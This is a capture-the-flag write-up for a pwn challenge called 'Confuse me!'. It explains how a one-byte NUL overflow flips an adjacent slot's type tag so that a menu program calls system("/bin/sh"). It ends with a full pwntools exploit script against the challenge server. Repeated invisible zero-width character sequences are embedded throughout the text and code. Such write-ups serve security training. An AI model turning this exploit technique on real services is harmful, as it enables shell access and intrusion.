← Back to Writeups
CUSTOMMediumpwn

Confuse me!

XESXOR9/2/20264 min read
#pwn#custom#medium#adjacent_slot_type_tag_corrupt#menu_io_resync#one_byte_null_overflow#type_confusion_to_system#linux

Confuse me!

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: adjacent_slot_type_tag_corruption, menu_io_resync, one_byte_null_overflow, type_confusion_to_system

Summary

Task: menu-driven x86-64 action manager (create/remove/execute) over a global 32x256-byte slot array where byte[0] is a type tag; a string action's read loop writes exactly 256 bytes, so the 256th byte overflows the adjacent slot's type byte. Solution: place NUL on the next slot's type tag to flip it to the hidden type 0, whose execute path calls system(slot+1) — set the neighbor to "/bin/sh" first and get a shell.

Confuse me! — spbctf

Description

Confuse me! nc 109.233.56.90 11720 binary: confuse_me.elf

A menu-driven "action manager" pwn challenge. The binary is x86-64, dynamically linked, NX enabled, stack canary, partial RELRO, not stripped. The download URL path contained uaf, but the actual bug is a 1-byte type-confusion overflow into an adjacent object's type tag, not a classic use-after-free. Goal: get a shell and read /flag.txt.

Analysis

Data structure

A global array actions at 0x4040c0: 32 slots, each 0x100 (256) bytes. Byte [0] of every slot is a type tag: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • 0xff = empty
  • 1 = string action
  • 2 = number action
  • 0 = (unintended) execute_action calls system(slot+1)

Menu

  • 1 = create action — finds first free slot (type 0xff), reads a type via scanf("%d") (1 or 2), then fills the slot.
  • 2 = remove action — inline: sets actions[idx][0] = 0xff (marks free).
  • 3 = execute action — reads an index (unsigned cmp 0x1f; ja bounds check), then dispatches on the type tag.

create_action, type 1 (string)

A byte-by-byte read loop stores into slot[i]+1. The loop bounds are: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

r12 = slot[i] + 1
r13 = r12 + 0x100        ; stop pointer
read until '\n' or EOF, or until r12 == r13

So it writes offsets 1..256 — a full 0x100 bytes. The 256th byte lands on slot[i+1][0], overwriting the next slot's type byte. NUL bytes are allowed inside the string (the loop stops only on '\n' or EOF), so a chosen '\x00' can be planted exactly on the neighbor's type tag. When the buffer is completely filled (256 bytes, no newline), no NUL terminator is appended by the program. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

execute_action

  • type 1 → strlen(slot+1), prints len = %d
  • type 2 → prints hex = %x of *(int*)(slot+1)
  • type 0 → system(slot+1) ← WIN
  • else → Can't do that...

The vulnerability

Nothing legitimately sets a slot type to 0. But the 256th byte written by a string action corrupts the adjacent slot's type byte. Writing 0 there flips that neighbor into the hidden type 0 dispatch, i.e. system(slot+1). If that neighbor's payload region already holds "/bin/sh", executing it spawns a shell. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

  1. Create slot0 — a short dummy string.
  2. Create slot1 = "/bin/sh" so actions[1]+1 == "/bin/sh".
  3. Remove slot0 (frees it, making it the first free slot again).
  4. Re-create slot0 with a 256-byte string b"B"*255 + b"\x00" (no trailing newline) so the 256th byte (NUL) overwrites actions[1][0] = 0.
  5. Execute index 1 → execute_action sees type 0 → system("/bin/sh") → shell.
  6. cat /flag.txt.

I/O protocol gotchas

  • setvbuf makes stdout unbuffered.
  • After each action the menu reprints; prompt lines have a leading space that desyncs naive sendlineafter matching. Reliable approach: recvuntil(b'execute action') then sendline.
  • The string read consumes the leftover newline from the scanf("%d") type selection automatically, so send(payload) works cleanly.
  • The flag file is /flag.txt on the remote (root-owned, world-readable). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

python
#!/usr/bin/env python3
from pwn import *

io = remote("109.233.56.90", 11720)

def menu(c):
    io.recvuntil(b'execute action')
    io.sendline(str(c).encode())

def create_str(s):
    menu(1)
    io.recvuntil(b'convert number to hex')
    io.sendline(b'1')                     # type 1 = string
    io.recvuntil(b'Enter your string:')
    io.send(s)

def remove(i):
    menu(2)
    io.recvuntil(b'Enter index:')
    io.sendline(str(i).encode())

def execute(i):
    menu(3)
    io.recvuntil(b'Enter index:')
    io.sendline(str(i).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# ---- Type-confusion via 1-byte overflow of adjacent slot's type tag ----
create_str(b'AAAA\n')             # slot0 dummy
create_str(b'/bin/sh\n')          # slot1 -> actions[1]+1 = "/bin/sh"
remove(0)                         # free slot0
create_str(b'B'*255 + b'\x00')    # exactly 256 bytes; NUL overwrites actions[1][0]=0
execute(1)                        # type 0 -> system("/bin/sh")

io.sendline(b'cat /flag.txt')
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍